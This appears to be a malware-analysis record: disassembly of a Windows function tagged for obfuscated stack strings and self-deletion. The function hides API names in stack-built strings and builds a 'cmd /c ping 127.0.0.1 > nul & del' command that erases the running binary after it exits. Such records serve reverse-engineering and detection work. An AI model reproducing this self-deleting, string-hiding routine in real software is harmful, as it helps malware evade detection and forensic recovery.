Function at 0x10021eb0
Capabilities:
Contain obfuscated stackstrings
Get comspec environment variable
Query environment variable
Self delete

Disassembly:
sub esp, 0x3e8
mov al, 0x45
push ebx
push ebp
mov byte [esp + 9], al
mov byte [esp + 0xc], al
push esi
lea eax, [esp + 0x78]
push edi
lea ecx, [esp + 0x10]
mov bl, 0x65
push eax
push ecx
mov byte [esp + 0x18], 0x4b
mov byte [esp + 0x1a], 0x52
mov byte [esp + 0x1b], 0x4e
mov byte [esp + 0x1d], 0x4c
mov byte [esp + 0x1e], 0x33
mov byte [esp + 0x1f], 0x32
mov byte [esp + 0x20], 0x2e
mov byte [esp + 0x21], 0x64
mov byte [esp + 0x22], 0x6c
mov byte [esp + 0x23], 0x6c
mov byte [esp + 0x24], 0
mov byte [esp + 0x84], 0x53
mov byte [esp + 0x85], bl
mov byte [esp + 0x86], 0x74
mov byte [esp + 0x87], 0x46
mov byte [esp + 0x88], 0x69
mov byte [esp + 0x89], 0x6c
mov byte [esp + 0x8a], bl
mov byte [esp + 0x8b], 0x41
mov byte [esp + 0x8c], 0x74
mov byte [esp + 0x8d], 0x74
mov byte [esp + 0x8e], 0x72
mov byte [esp + 0x8f], 0x69
mov byte [esp + 0x90], 0x62
mov byte [esp + 0x91], 0x75
mov byte [esp + 0x92], 0x74
mov byte [esp + 0x93], bl
mov byte [esp + 0x94], 0x73
mov byte [esp + 0x95], 0x41
mov byte [esp + 0x96], 0
call fcn.1001d6c0
mov esi, eax
lea edx, [esp + 0x70]
lea eax, [esp + 0x18]
push edx
push eax
mov byte [esp + 0x78], 0x47
mov byte [esp + 0x79], bl
mov byte [esp + 0x7a], 0x74
mov byte [esp + 0x7b], 0x53
mov byte [esp + 0x7c], 0x68
mov byte [esp + 0x7d], 0x6f
mov byte [esp + 0x7e], 0x72
mov byte [esp + 0x7f], 0x74
mov byte [esp + 0x80], 0x50
mov byte [esp + 0x81], 0x61
mov byte [esp + 0x82], 0x74
mov byte [esp + 0x83], 0x68
mov byte [esp + 0x84], 0x4e
mov byte [esp + 0x85], 0x61
mov byte [esp + 0x86], 0x6d
mov byte [esp + 0x87], bl
mov byte [esp + 0x88], 0x41
mov byte [esp + 0x89], 0
call fcn.1001d6c0
mov edi, eax
mov byte [esp + 0x50], 0x53
mov byte [esp + 0x51], bl
mov byte [esp + 0x52], 0x74
mov byte [esp + 0x53], 0x50
mov byte [esp + 0x54], 0x72
mov byte [esp + 0x55], 0x69
mov byte [esp + 0x56], 0x6f
mov byte [esp + 0x57], 0x72
mov byte [esp + 0x58], 0x69
mov byte [esp + 0x59], 0x74
mov byte [esp + 0x5a], 0x79
mov byte [esp + 0x5b], 0x43
mov byte [esp + 0x5c], 0x6c
lea ecx, [esp + 0x50]
lea edx, [esp + 0x20]
push ecx
push edx
mov byte [esp + 0x65], 0x61
mov byte [esp + 0x66], 0x73
mov byte [esp + 0x67], 0x73
mov byte [esp + 0x68], 0
call fcn.1001d6c0
mov ebp, eax
lea eax, [esp + 0x6c]
lea ecx, [esp + 0x28]
push eax
push ecx
mov byte [esp + 0x74], 0x53
mov byte [esp + 0x75], bl
mov byte [esp + 0x76], 0x74
mov byte [esp + 0x77], 0x54
mov byte [esp + 0x78], 0x68
mov byte [esp + 0x79], 0x72
mov byte [esp + 0x7a], bl
mov byte [esp + 0x7b], 0x61
mov byte [esp + 0x7c], 0x64
mov byte [esp + 0x7d], 0x50
mov byte [esp + 0x7e], 0x72
mov byte [esp + 0x7f], 0x69
mov byte [esp + 0x80], 0x6f
mov byte [esp + 0x81], 0x72
mov byte [esp + 0x82], 0x69
mov byte [esp + 0x83], 0x74
mov byte [esp + 0x84], 0x79
mov byte [esp + 0x85], 0
call fcn.1001d6c0
mov dword [esp + 0xb4], eax
lea edx, [esp + 0x50]
lea eax, [esp + 0x30]
push edx
push eax
mov byte [esp + 0x58], 0x43
mov byte [esp + 0x59], 0x72
mov byte [esp + 0x5a], bl
mov byte [esp + 0x5b], 0x61
mov byte [esp + 0x5c], 0x74
mov byte [esp + 0x5d], bl
mov byte [esp + 0x5e], 0x50
mov byte [esp + 0x5f], 0x72
mov byte [esp + 0x60], 0x6f
mov byte [esp + 0x61], 0x63
mov byte [esp + 0x62], bl
mov byte [esp + 0x63], 0x73
mov byte [esp + 0x64], 0x73
mov byte [esp + 0x65], 0x41
mov byte [esp + 0x66], 0
call fcn.1001d6c0
lea ecx, [esp + 0x48]
lea edx, [esp + 0x38]
push ecx
push edx
mov dword [esp + 0xc0], eax
mov byte [esp + 0x50], 0x52
mov byte [esp + 0x51], bl
mov byte [esp + 0x52], 0x73
mov byte [esp + 0x53], 0x75
mov byte [esp + 0x54], 0x6d
mov byte [esp + 0x55], bl
mov byte [esp + 0x56], 0x54
mov byte [esp + 0x57], 0x68
mov byte [esp + 0x58], 0x72
mov byte [esp + 0x59], bl
mov byte [esp + 0x5a], 0x61
mov byte [esp + 0x5b], 0x64
mov byte [esp + 0x5c], 0
call fcn.1001d6c0
add esp, 0x30
mov ebx, eax
lea eax, [esp + 0xec]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x100223c7
lea ecx, [esp + 0xec]
push 0x104
lea edx, [esp + 0xf0]
push ecx
push edx
call edi
test eax, eax
je 0x100223c7
lea eax, [esp + 0x2f4]
push 0x104
push eax
push str.COMSPEC
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x100223c7
lea ecx, [esp + 0xec]
push 0x80
push ecx
call esi
or ecx, 0xffffffff
mov edi, str.__c_ping__n_2_127.0.0.1___nul__del
xor eax, eax
lea edx, [esp + 0x1f0]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
shr ecx, 2
mov edi, edx
lea edx, [esp + 0x1f0]
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
mov dword [esp + 0x98], eax
rep movsb byte es:[edi], byte [esi]
or ecx, 0xffffffff
lea edi, [esp + 0xec]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x1f0]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.___nul
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x2f4]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x1f0]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x10
lea edi, [esp + 0xac]
rep stosd dword es:[edi], eax
xor ecx, ecx
mov dword [esp + 0x9c], ecx
mov dword [esp + 0xa0], ecx
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 0x100
mov dword [esp + 0xa8], ecx
mov dword [esp + 0xac], 0x44
mov dword [esp + 0xd8], 1
mov word [esp + 0xdc], ax
call edi
push eax
call ebp
push 0xf
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov esi, dword [esp + 0x98]
push eax
call esi
lea edx, [esp + 0x98]
lea eax, [esp + 0xa8]
push edx
push eax
push 0
push 0
push 4
push 0
push 0
lea ecx, [esp + 0x310]
push 0
push ecx
push 0
call dword [esp + 0xb8]
test eax, eax
je 0x100223b5
mov edx, dword [esp + 0x98]
push 0x40
push edx
call ebp
mov eax, dword [esp + 0x9c]
push 0xfffffffffffffff1
push eax
call esi
mov ecx, dword [esp + 0x9c]
push ecx
call ebx
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x3e8
ret
push 0x20
call edi
push eax
call ebp
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call esi
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x3e8
ret